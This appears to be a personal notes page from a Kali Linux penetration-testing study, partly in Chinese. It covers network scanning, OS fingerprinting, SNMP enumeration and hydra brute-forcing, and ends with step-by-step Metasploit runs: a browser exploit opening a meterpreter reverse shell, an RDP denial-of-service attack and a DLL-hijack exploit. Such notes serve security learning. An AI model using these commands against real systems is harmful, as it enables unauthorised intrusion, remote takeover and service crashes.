root@kali:~# nmap --script-help=telnet-ntlm-info.nse telnet-ntlm-info Categories: default discovery safe https://nmap.org/nsedoc/scripts/telnet-ntlm-info.html This script enumerates information from remote Microsoft Telnet services with NTLM authentication enabled. Sending a MS-TNAP NTLM authentication request with null credentials will cause the remote service to respond with a NTLMSSP message disclosing information to include NetBIOS, DNS, and OS build version.
root@kali:~# netdiscover Currently scanning: 192.168.41.0/16 | Screen View: Unique Hosts 5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 228 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.2.1 xx:15:e1:xx:13:42 1 42 Phicomm (Shanghai) Co., Ltd. 192.168.2.207 xx:e0:4c:xx:11:3d 1 60 REALTEK SEMICONDUCTOR CORP. 192.168.2.222 xx:39:56:xx:74:87 1 42 HMD Global Oy 192.168.2.214 xx:b8:37:xx:c5:11 2 84 Sony Mobile Communications I
root@kali:~# nmap -sn 192.168.2.1 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 05:00 UTC Nmap scan report for phicomm.me (192.168.2.1) Host is up (0.0013s latency). MAC Address: 2C:15:E1:0A:13:42 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
root@kali:~# nmap -sn 192.168.2.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 05:00 UTC Nmap scan report for phicomm.me (192.168.2.1) Host is up (0.0045s latency). MAC Address: 2C:15:E1:0A:13:42 (Unknown) Nmap scan report for LAPTOP-5893QA24.lan (192.168.2.207) Host is up (0.0025s latency). MAC Address: 00:E0:4C:36:11:3D (Realtek Semiconductor) Nmap scan report for 192.168.2.222 Host is up (0.076s latency). MAC Address: 20:39:56:CA:74:87 (Unknown) Nmap scan report for 192.168.2.241 Host is up (0.072s latency). MAC Address: 28:3F:69:C8:C6:23 (Sony Mobile Communications AB) Nmap scan report for kali.lan (192.168.2.223) Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 6.27 seconds
root@kali:~# nmap -[sn sT sS sA] 192.168.2.0/[24 16 8] | grep "("
scan ports
1 2 3
dmitry 192.168.2.1 -p # fast & easy amap 172.16.36.135 80 nmap -[sS sT sU] 192.168.2.1 (-p 80-110)
root@kali:~/Desktop/py# amap -[b B] 192.168.2.1 23 amap v5.4 (www.thc.org/thc-amap) started at 2019-02-04 15:39:34 - BANNER mode
Banner on 192.168.2.1:23/tcp : \r\n\r\nBusyBox v1.22.1 (2018-04-20 150931 CST) built-in shell (ash)\r\nEnter 'help' for a list of built-in commands.\r\n\r\n
amap v5.4 finished at 2019-02-04 15:39:35
# nmap banner: root@kali:~/Desktop/py# nmap -sT 192.168.2.1 -p 23 --script=banner Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-04 15:42 UTC Nmap scan report for phicomm.me (192.168.2.1) Host is up (0.0013s latency).
PORT STATE SERVICE 23/tcp open telnet |_banner: \xFF\xFD\x01\xFF\xFD\x1F\xFF\xFB\x01\xFF\xFB\x03 MAC Address: xx:15:E1:0A:13:xx (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
操作系统识别
Scapy
1
sr1(IP(dst='192.168.2.1')/ICMP())
if ttl eual or less than 64 then target-device is linux/unix else ~ is windows
nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
# nmap 192.168.2.1 -O Nmap scan report for phicomm.me (192.168.2.1) Host is up (0.0015s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 53/tcp open domain 80/tcp open http MAC Address: 2C:15:E1:0A:13:42 (Unknown) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10 Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 40.20 seconds
xprobe2
1 2 3 4 5 6
xprobe2 192.168.2.214
[+] Host 192.168.2.1 Running OS: linux Kernel 2.6.11" (Guess probability: 95%) [+] Other guesses: [+] Host 192.168.2.1 Running OS: linux Kernel 2.4.19" (Guess probability: 95%) [+] Host 192.168.2.1 Running OS: linux Kernel 2.4.22" (Guess probability: 95%)
onesixtyone & snmpwalk
1 2 3 4 5 6 7 8 9 10 11 12
# 找出设备上的SNMP Community字串 root@KaliLinux:~# onesixtyone 172.16.36.134 public Scanning 1 hosts, 1 communities 172.16.36.134 [public] Hardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)
# 下面这个工具我没有成功过 root@KaliLinux:~# snmpwalk 172.16.36.134 -c public -v 2c | cut -d "=" -f 2 STRING: "Hardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)" OID: iso.3.6.1.4.1.311.1.1.3.1.1 Timeticks: (75376) 0:12:33.76 "" STRING: "DEMO-72E8F41CA4"
更多操作看帮助或者使用其有UI的版本。 其UI版本——hydra-gtk中:如果要查看密码攻击的过程,将Output Options框中的Show Attempts复选框勾上 勾上Tuning选项卡下的Exit after first found pair,表示找到第一对匹配项时则停止攻击。 配置完后,单击到Start选项卡进行攻击。
Msf常用漏洞利用命令 search name:用指定关键字搜索可以利用的漏洞模块 use exploit name:使用漏洞 show options:显示配置选项 set option name option:设置选项 show payloads:回链攻击载荷 show targets 显示目标(os版本) set TARGET target number(设置目标版本) exploit(开始漏洞攻击) sessions -l(列出会话) sessions -i id(选择会话) sessions -k id(结束会话) Ctrl+z(把会话放到后台) Ctrl+c(结束会话) show auxiliary(显示辅助模块) use auxiliary name (使用辅助模块) set option name option(设置选项) exploit(运行模块)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
# 测试漏洞——ms10_018 IE浏览器漏洞实例——browser msf > use exploit/windows/browser/ms10_002_aurora #(使用ms10_002_aurora模块) msf exploit(ms10_002_aurora) > show options #(查看选项) msf exploit(ms10_002_aurora) > set SRVHOST 192.168.230.1 #(url地址) msf exploit(ms10_002_aurora) > set SRVPORT 80 #(url地址端口) msf exploit(ms10_002_aurora) > set URIPATH / #(网站根,默认就是/) msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp #(反弹载荷) msf exploit(ms10_002_aurora) > set LHOST 192.168.230.185 #(payload反弹地址,写本机) msf exploit(ms10_002_aurora) > set LPORT 1211 #(监听端口) msf exploit(ms10_002_aurora) > exploit #(开始攻击) msf exploit(ms10_002_aurora) > [*] Using URL: http://192.168.230.185:80/ #(生成url,此漏洞是激光漏洞,当我们把链接地址给目标访问,目标访问后就会反弹一个会话给本机) msf exploit(ms10_002_aurora) > sessions -i #(查看目标) sessions -i 1 #(选择id为1的主机) Meterpreter > shell #(可以直接拿到主机的shell,然后可以执行系统命令)
1 2 3 4 5 6 7 8 9 10 11
# 测试漏洞——ms12_020 蓝屏攻击 msf > use auxiliary/scanner/rdp/ms12_020_check #(先用ms12_020_check模块扫描是否有漏洞) msf auxiliary(ms12_020_check) > show options #(查看选项) msf auxiliary(ms12_020_check) > set RHOSTS 192.168.230.0/24 #(扫描目标网段) msf auxiliary(ms12_020_check) > set THREADS 50 #(线程) msf auxiliary(ms12_020_check) > exploit #(扫描后有vulnerable就说明有危险项) msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids #(利用ms12_020_maxchannelids漏洞) msf auxiliary(ms12_020_maxchannelids) > show options #(查看选项) msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.230.129 #(选择有漏洞的主机) msf auxiliary(ms12_020_maxchannelids) > set RPORT 3389 #(端口,可以不写,默认是3389) msf auxiliary(ms12_020_maxchannelids) > exploit #(攻击)
1 2 3 4 5 6 7 8 9 10
# dll注入攻击—— msf > use exploit/windows/browser/webdav_dll_hijacker #(使用webdav_dll漏洞) msf exploit(webdav_dll_hijacker) > show options #(查看选项) msf exploit(webdav_dll_hijacker) > set SRVHOST 192.168.230.176 #(url地址) msf exploit(webdav_dll_hijacker) > set SRVPORT 80 #(url端口) msf exploit(webdav_dll_hijacker) > set URIPATH / #(网站根) msf exploit(webdav_dll_hijacker) > set payload windows/meterpreter/bind_tcp #(反弹载荷) msf exploit(webdav_dll_hijacker) > set LHOST 192.168.230.186 #(反弹监听地址) msf exploit(webdav_dll_hijacker) > set LPORT 4444 #(反弹监听端口) msf exploit(webdav_dll_hijacker) > exploit #(攻击)